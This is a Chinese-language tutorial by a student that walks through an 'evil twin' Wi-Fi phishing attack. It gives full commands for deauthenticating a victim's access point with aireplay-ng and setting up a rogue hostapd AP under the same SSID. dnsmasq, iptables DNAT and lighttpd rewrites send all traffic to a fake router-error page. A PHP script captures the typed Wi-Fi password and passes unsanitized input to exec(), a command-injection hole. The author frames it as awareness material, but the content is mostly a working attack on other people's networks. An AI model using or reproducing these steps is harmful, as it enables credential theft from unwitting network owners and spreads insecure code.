陈承志
前言:
这篇文章出于我前段时间的一个想法,就是通过伪造无线路由器错误信息来欺骗机主,然后取得无线密码。后来就不断地试验实践,最后成功了,就有了今天的这篇文章,高三比较忙,所以弄了这么久。当然我不是为了教会大家破解别人的无线网络而写这篇文章,只是为了让大家了解无线网络的安全问题和交流技术,知道这种技术的原理,才能避免被攻击。为了便于大多数读者理解,我尽量没有使用很多专业词汇,可能不够严谨,望见谅!
版权声明:
本文作者是一位自由软件爱好者,所以本文虽然不是软件,但是本着 GPL 的精神发布。任何人都可以自由使用、转载、复制和再分发,但必须保留作者署名,亦不得对声明中的任何条款作任何形式的修改,也不得附加任何其它条件。您可以自由链接、下载、传播此文档,但前提是必须保证全文完整转载,包括完整的版权信息和作译者声明。?
BUG报告,切磋与探讨:由于作者水平有限,因此不能保证作品内容准确无误,请在阅读中自行鉴别。如果你发现了作品中的错误,请您来信指出,哪怕是错别字也好,任何提高作品质量的建议我都将虚心接纳。如果你愿意就作品中的相关内容与我进行进一步切磋与探讨,也欢迎你与我联系。联系方式:chenzhiwo@139.com
本文使用了以下这些开源软件,在这里感谢这些软件的开发者:
aircrack-ng:
dnsmasq:
lighttpd:
php:
overview:
首先简略地说说基本的思路,使用airodump-ng查看有那些客户端正在使用无线网络,然后通过aireplay-ng持续攻击某个AP,使该客户端保持可以搜索到自己的AP,但是又连接不上的状态。这时我们就马上伪造一个SSID和该AP相同不加密的AP,因为普通的用户都是不懂技术的,正在和MM聊得欢,突然就断开了,这该多恼火~这样一般该机主就会下意识地点击连接我们这个伪造的AP,然后轻而易举地连接上了。这时机主回到QQ,诶~怎么还是连接不上?然后就打开浏览器随便访问一个网络地址测试一下,这时我们就要让他打开事先准备好的网页,说他的AP出错误了云云,然后然他输入无线密码来重启无线路由器排除故障,他一着急,就输入了自己的无线密码啦~这时密码就会被提交到我们电脑上的php,然后php就把这个密码写入某个文件保存起来,哈哈!不费吹灰之力对吧?然后我们就停止对他AP的攻击,神不知鬼不觉地~机主见恢复正常了,就把这小插曲抛诸脑后啦!这里面也有一点社会工程学的意思。相关的原理和细节我在后面慢慢和大家叙述。
本文以安装了xubuntu12.04.3的笔记本电脑为系统环境,前段时间我安装了xbuntu13.10,结果各种不稳定各种错误,在Hacking的时候居然在service里面找不到Network-manager,导致Hacking的时候网卡被关闭。不得不感叹Ubuntu变得越来越用户友好,但是却越来越难配置。所以我回到了xubuntu12.04,后来我也用过ArchLinux,很轻量很快速,可以轻易配置整个系统。但是为了简单起见,本文还是使用了ubuntu作为系统环境。行首是”#“代表是使用超级用户运行该命令,这都是约定俗成的。不多说,另外配置文件和网页代码的内容我都用代码框框起来的了,需要执行的指令则是用
黄色加亮。
一些命令的用途:
airmon-ng:方便地将网卡配置成攻击时所需监听模式(monitor mode)。
airodump-ng:监听无线网络,查看有那些活动的无线网络。
aireplay-ng:对对方无线网络进行注入攻击,这里用来使客户端断线。
dnsmasq:提供一个内网DNS,以及dhcp服务。
lighttpd:提供一个Web服务器,用来显示我们伪造的错误信息页面。
php-cgi:lighttpd通过fastcgi连接到php,用来获取并保存用户输入的信息。
iptables:配置防火墙,因为hostapd要用到NAT(网络地址转换)
hostapd:一个软AP,等于把你的电脑变成一个无线无线路由器
基本流程如下图所示,这里先解释下hack的基本流程:
监听无线网络找到攻击目标》攻击目标使其断线》机主连接到伪造的AP》机主客户端发出dhcp请求》dnsmasq接收到机主的请求,返回网络配置信息,DNS服务器和路由的IP都设置为伪造AP的IP》机主收到dnsmasq返回的信息,配置网络成功》机主试图访问,机主的浏览器向dnsmasq查询域名信息,dnsmasq返回正确的IP地址xxx.xxx.xxx.xxx给机主的浏览器》机主的浏览器开始连接xxx.xxx.xxx.xxx》数据包经过伪造AP时,iptables把数据包的目标地址转换成本机,这样无论机主试图访问什么主机,最后都会连接到伪造AP里面的Web服务器lighttpd》lighttpd收到请求,用过rewrite重定向到伪造的错误页面,这样无论机主请求的是什么页面,最后都会访问到我们伪造的错误页面》用户输入无线密码》lighttpd把用户输入的数据传送给php,php把密码写入到/var/www/password。
开始工作:
首先当然是切换到超级用户:
$sudo -s
安装所需全部软件:
#apt-get install aircrack lighttpd dnsmasq php5-cgi
停止network-manager,以免干扰我们的操作:
#service network-manager
下载相关文件:
访问
,下载全部文件备用
开启lighttpd的php支持:
#lighttpd-enable-mod fastcgi-php
开始配置相关程序,为了方便大家我已经把一切都做好了。
复制dnsmasq.conf到/etc/dnsmasq.conf
复制lighttpd.conf到/etc/lighttpd/lighttpd.conf
复制hostapd.conf到/etc/hostapd/hostapd.conf
复制index.html,passwd.php到/var/www/
编辑/etc/php5/cgi/php.ini,找到这一行:
把最前面的“;”号去掉,保存,这个配置选项是更改php的目录信息,使最后php写入的密码文件放在正确的目录下(即/var/www/)。
设置目录权限,这是为了让php可以写入密码文件/var/www/password:
#chmod 777 /var/www/ -R
重新启动相关程序:
#killall php-cgi
#service dnsmasq restart
#service lighttpd restart
测试lighttpd:
在firefox里面访问,测试网页是否能够正常显示,然后再访问/xxxxxx,看看是否还能打开错误提示页面。因为到时你并不知道用户会打开什么网站的什么页面,假设到时机主在浏览器里面访问的是因为我们搭建的“网站”并没有.help/source这个文件,就会出现404错误,为了避免这个问题,所以我就使用了rewrite技术,也就是地址重写技术。这样用户只要是访问我们搭建出来的“网站”,无论在IP地址后面输入什么东西,都会访问到我写的错误页面index.html。有意思吧?
rewrite配置的细节在lighttpd.conf里面:
-
url.rewrite=(
-
"^/passwd.php/?(.+)" => "$0",
-
"^/(.+)"=>"index.html"
-
)
这里rewrite规则用了perl的正则表达式,以上配置的意思是:如果url不是以passwd.php开头的,全部重写到index.html,passwd.php是用来保存密码的,我们当然不能重写它的地址。关于passwd.php的内容我们接下来就解释。
测试php:
这里随手输入一个密码看看,我输入了:”123456789“
这里的细节可以查看index.html文件,我在里买创建了一个表单:
-
<form action="passwd.php" method="">
-
<input type="password" name="passwd" value="" />
-
<input type="submit" name="" value="确认重启" />
-
</form>
表单里面有一个密码输入框,一个提交按钮,当我们在密码输入框里面输入密码“123456789”,点击“确认重启”按钮后,密码输入框里的内容就会被提交到”passwd.php“,这是浏览器就会打开一个地址:“/passwd.php?passwd=123456789”,地址后面的?passwd=123456789就是密码数据,然后我们就要想办法把这个密码数据保存下来。
具体是怎么保存的呢?可以查看passwd.php,里面有这么两行:
-
$com = "touch password && echo $_GET[passwd] >> password";
-
exec($com);
用到了php的exec()函数,这个函数就等于一个系统shell程序,可以在里面运行系统命令,这里运行了 "touch password && echo $_GET[passwd] >> password"
这篇文章的读者应该都清楚这条命令的意思,&&前面的 ”touch password“就是检测是否存在“password”文件,如果不存在则新建一个,&&后面的命令用到了$_GET[passwd],这个的作用就是获取url后面passwd参数的内容,因为我们访问的url为“/passwd.php?passwd=123456789”,也就等于获取passwd=123456789里面的“123456789”,然后”echo $_GET[passwd] >> password“就等于把字符串“123456789”追加到文件“password”的末尾。
然后显示错误信息:
-
echo("
很不幸!进程出错!
");
-
echo("
请手动关闭路由器电源,两小时后重试!故障应很快解除。
");
这里我耍了小花招,因为我们也没有办法真的让机主的无线路由器重启,只能让他自己关两个小时咯!当我们搜索不到机主的无线路由器时,我们就知道机主已经输入了密码并且手动关闭了电源了。然后我们就可以收工啦!
查看密码写入是否成功:
#more /var/www/password
显示123456789,就表示我刚才输入的密码123456789被保存到/var/www/password这个文件里面了,php配置成功啦!
OK!伪造的错误页面能运作了,继续下一步。
设置网卡为监听模式:
#airmon-ng start wlan0
airmon-ng其实是一个shell脚本,为了方便配置无线网络而编写的,命令运行后就会多出一个”mon0”设备,这个设备是在wlan0的硬件基础上虚拟出来的,这时不影响你继续使用原来的wlan0,好用吧?
开始抓包监听:
#airodump-ng mon0
慢慢等候,抓到的包会越来越多,然后找一个信号比较好的,机主使用比较活跃的AP,上面Data这一栏下如果在跳动,就说明有人在使用这个无线路由器。
记下目标AP的ESSID和BSSID,这在我们接下来伪造路由器和注入攻击有用。
编辑/etc/hostapd/hostapd.conf,找到这一行:
test改成目标ESSID(也就是无线路由器名),我这里改成wifi-XWZ
然后找到这一行:
把里面的wlan1改成你的无线设备名,本文使用的无线网卡是wlan0,就改成wlan0 ,保存。
启动我们的伪造AP:
#hostapd /etc/hostapd/hostapd.conf
设置wlan0的ip地址,不然dnsmasq的dhcp功能会失效:
#ifconfig wlan0 192.168.1.1/24
dhcp就是动态主机配置协议,用来自动配置网络,自动分配无线地址的,现在的设备默认都是使用dhcp分配地址了,如果没有安装dhcp服务器,那么无线设备就无法成功连接到我们伪造的无线路由器。
关于dnsmasq的dhcp配置可以看到dnsmasq.conf里面这两行:
-
dhcp-range=192.168.1.2,192.168.1.100,255.255.255.0,12h
这一行配置了分配出去地网络地址范围是192.168.1.2到192.168.1.100,还有子网掩码,还有租约时间是12h也就是12小时,这个不重要,这里不多说。
-
dhcp-option=option:router,192.168.1.1
这一行配置了分配出去的网络配置信息中默认路由的IP地
址,这里设置为伪造的路由器的IP地址“192.168.1.1”。那么路由有什么作用呢?路由就是用来转发网络数据包的设备,来实现不同网段的网络互连。有一部电脑的内网IP地址为192.168.1.5,子网掩码为255.255.255.0,想访问IP地址12.12.12.12,这时它的设备就通过子网掩码计算出12.12.12.12和它不是在同一个子网里面的,不能直接通信,它就直接把数据发送到默认路由192.168.1.1,让路由器帮它转发。
这里面还有一个DNS的知识,DNS就是域名系统的意思,简单说就是把域名转换成IP地址的服务,因为人类对数字不敏感,访问网站的时候要记住一串IP地址太麻烦了,所以就有了DNS,比如你在你的浏览器里面访问,那么你的浏览器就会先连接到DNS服务器,查询到对应的IP地址为119.75.218.70,然后浏览器就开始和119.75.218.70上服务器通信,整个DNS查询过程不需要人工干预,而当你的浏览器访问不了DNS服务器的时候,你也就无法正常上网咯!而我们并不打算让连接到伪造路由器上的客户端访问外网的DNS服务器,所以直接在伪造的路由器上面搭建一个DNS服务器。关于DNS服务器的配置,dnsmasq这个软件默认就已经可以工作了,不需要额外的配置,这里就不多废话了。
设置网络地址转换,让所有数据包到返回到本机:
#iptables -t nat -A PREROUTING -s 192.168.1.0/24 -i wlan0 -j DNAT --to 192.168.1.1
由于从机主在DNS服务器上面查询到的IP地址五花八门,但是我们只希望他访问到我们搭建的获取密码的”网站“,所以我就使用了NAT技术,把所有来自wlan0,网段192.168.1.1——192.168.1.254的数据包的目的地址都改为192.168.1.1,也就是伪造的路由器的IP地址,换句话说,无论他访问什么IP地址,加上rewrite技术,机主是无论如何都会访问到我们搭建的”网站“,然后就把密码送上。
万事俱备,只欠东风,你得先让别人的手机断线,别人才有可能来连接你伪造的无线路由器对吧?然后我们开始攻击目标AP,其中参数-a后面的就是前面要你记下的目标路由器的BSSID
#aireplay-ng mon0 -0 0 --ignore-negative-one -a D4:B1:10:F5:2D:34
等待吧!这需要一点耐心和运气,等到“鱼儿”上勾后,查看”送“给你的密码吧:
#more /var/www/password
PS:本来想到可以用DNS泛解析的,就是让所有DNS查询请求都返回本机地址(192.168.1.1),可是搞不定。好像aircrack-ng包里面的airbase-ng都可以创建一个软无线路由器,但是好像在我的机器上工作不怎么正常,就没研究。另外为了能够解析DNS,你的机器首先要连接上网络。天冷了,手指太冻,错别字应该有不少,大家见谅,加上语文水平也不好,表述得有点混乱,还请大家多多指教!